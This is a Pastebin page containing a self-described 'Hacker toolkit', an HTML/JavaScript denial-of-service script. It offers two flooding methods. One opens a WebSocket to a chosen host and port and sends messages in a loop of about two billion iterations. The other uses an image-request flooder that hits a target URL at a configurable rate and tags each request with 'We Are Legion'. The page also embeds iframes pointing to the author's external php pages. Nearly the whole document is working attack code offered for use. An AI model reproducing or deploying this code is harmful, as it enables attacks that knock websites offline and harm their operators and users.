R8420

Ddos html script

May 9th, 2014
3,153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 6.87 KB | None | 0 0
  1. Hacker toolkit made by @an0nymous_nl
  2. Demo: anonhosting.bl.ee
  3. <html>
  4. <head>
  5.     <title>HQ toolkit</title>
  6.  
  7. <script type="text/javascript">
  8. function ExploitLazor() {
  9.   if ("WebSocket" in window) {
  10.          
  11.         var host = document.getElementById("Host").value
  12.         var port = document.getElementById("Port").value
  13.         alert("Cannon firing at "+host+" on port " +port+ " .");
  14.      var ws = new WebSocket("ws://"+host+":"+port);
  15.      ws.onopen = function() {
  16.      for (var i=0;i<2147000000;i++) { //Loop here
  17.       ws.send("Waring");
  18.        }
  19.    ws.onclose = function() {
  20.        alert("DOS, Sent.");
  21.        }
  22. }
  23. }
  24. else
  25. {
  26.    alert("This won't work on your browser!");
  27. }
  28. }
  29. </script>
  30.  
  31. </head>
  32. <body background="http://fc04.deviantart.net/fs70/f/2013/219/c/0/c0fb1a1463169ace91f3e558fb0e3fe5-d6h0i32.gif">
  33. <div style="position: absolute; width: 271px; height: 100%; left: 624px; top: 13px; color: #FFF;">
  34.   <div style="width: 271px; height: 100px; position: absolute; left: 0px; top: 95px;">
  35.      <fieldset style="width:100%; height:100%;">
  36.         <legend>Step 1. Select your target:</legend>
  37.         <label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://www.google.nl" /></label> <!-- disabled="true" -->
  38.         <small>Ex : http://fbi.gov</small>
  39.     </fieldset>
  40. </div>
  41. <div style="width: 268px; height: 100px; position: absolute; left: 2px; top: 410px;">
  42.     <fieldset style="width: 100%; height: 100%; color: #FF0;">
  43.        <legend>Step 2. Ready?</legend>
  44.  
  45.       <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
  46.     </fieldset>
  47. </div>
  48.  
  49. <div id="html">
  50.   Host: <input type="text" id="Host" value="" name="Host"><br>
  51.   Port:
  52.   <input type="text" id="Port" value="" name="Port"><br>
  53.   <input type="submit" value="loop ddos" name="submit" onClick="ExploitLazor()"/>
  54. </div>
  55.  
  56. <div style="width: 271px; height: 160px; position: absolute; left: 1px; top: 224px;">
  57.      <fieldset style="width:100%; height:100%;">
  58.         <legend>Optional. Options</legend>
  59.          <label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br />
  60.  
  61.          <label>Append message : <br /><input required id="message" style="width:100%;" value="We Are Legion" /></label>
  62.     </fieldset>
  63. </div>
  64.  
  65. <div style="width: 164px; height: 483px; position: absolute; left: 308px; top: 13px;">
  66.      <fieldset style="width: 100%; height: 100%; color: #FFFF00;">
  67.          <legend>Attack status:</legend>
  68.         <dl>
  69.             <dt>Requested:</dt>
  70.             <dd id="requestedCtr">0</dd>
  71.             <dt style="opacity: 0.5; color: green;">Request OK :</dt>
  72.             <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  73.             <dt style="opacity: 0.5; color: red;">Request failed :</dt>
  74.             <dd style="opacity: 0.5" id="failedCtr">0</dd>
  75.            
  76.  
  77.            
  78.         </dl>
  79.        
  80.        
  81.        
  82.        
  83.      
  84.        
  85.        
  86.        
  87.        
  88.        
  89.        
  90.        
  91.     </fieldset>
  92. </div>
  93. </div>
  94. <p>
  95.       <script>
  96.         (function () {
  97.             var fireInterval;
  98.             var isFiring = false;
  99.             var requestedCtrNode = document.getElementById("requestedCtr"),
  100.                 succeededCtrNode = document.getElementById("succeededCtr"),
  101.                 failedCtrNode = document.getElementById("failedCtr"),
  102.                 targetURLNode = document.getElementById("targetURL"),
  103.                 fireButton = document.getElementById("fireButton"),
  104.                 messageNode = document.getElementById("message"),
  105.                 rpsNode = document.getElementById("rps"),
  106.                 timeoutNode = document.getElementById("timeout");
  107.             var targetURL = targetURLNode.value;
  108.             targetURLNode.onchange = function () {
  109.                 targetURL = this.value;
  110.             };
  111.             var requestsHT = {}; // requests hash table, may come in handy later
  112.             var requestedCtr = 0,
  113.                 succeededCtr = 0,
  114.                 failedCtr = 0;
  115.             var makeHttpRequest = function () {
  116.                                         if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  117.                                                 return;
  118.                                         };
  119.                                        
  120.                     var rID =Number(new Date());
  121.                     var img = new Image();
  122.                     img.onerror = function () { onFail(rID); };
  123.                     img.onabort = function () { onFail(rID); };
  124.                     img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  125.                                        
  126.                                         img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  127.                     requestsHT[rID] = img;
  128.                     onRequest(rID);
  129.                 };
  130.  
  131.             var onRequest = function (rID) {
  132.                     requestedCtr++;
  133.                     requestedCtrNode.innerHTML = requestedCtr;
  134.                 };
  135.  
  136.             var onComplete = function (rID) {
  137.                     delete requestsHT[rID];
  138.                 };
  139.  
  140.             var onFail = function (rID) {
  141.                    // failedCtr++;
  142.                     //failedCtrNode.innerHTML = failedCtr;
  143.                                        
  144.                                         succeededCtr++; //Seems like the url will always fail it it isn't an image
  145.                     succeededCtrNode.innerHTML = succeededCtr;
  146.                     delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  147.                 };
  148.  
  149.             var onSuccess = function (rID) {
  150.                     succeededCtr++;
  151.                     succeededCtrNode.innerHTML = succeededCtr;
  152.                     delete requestsHT[rID];
  153.                 };
  154.  
  155.             fireButton.onclick = function () {
  156.                 if (isFiring) {
  157.                     clearInterval(fireInterval);
  158.                     isFiring = false;
  159.                     this.innerHTML = "START";
  160.                 } else {
  161.                     isFiring = true;
  162.                     this.innerHTML = "Stop flooding";
  163.  
  164.                     fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  165.                 }
  166.             };
  167.  
  168.         })();
  169.  
  170. isFiring = true;
  171. document.getElementById("fireButton").innerHTML = "Stop flooding";
  172. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
  173.       </script>
  174.   <iframe src="http://anonhosting.bl.ee/test.php" width="300" height="400"></iframe>
  175.   <iframe src="http://anonhosting.bl.ee/skype.php" width="300" height="400"></iframe>
  176. </p>
  177. </body>
  178. </html>
Advertisement
Add Comment
Please, Sign In to add comment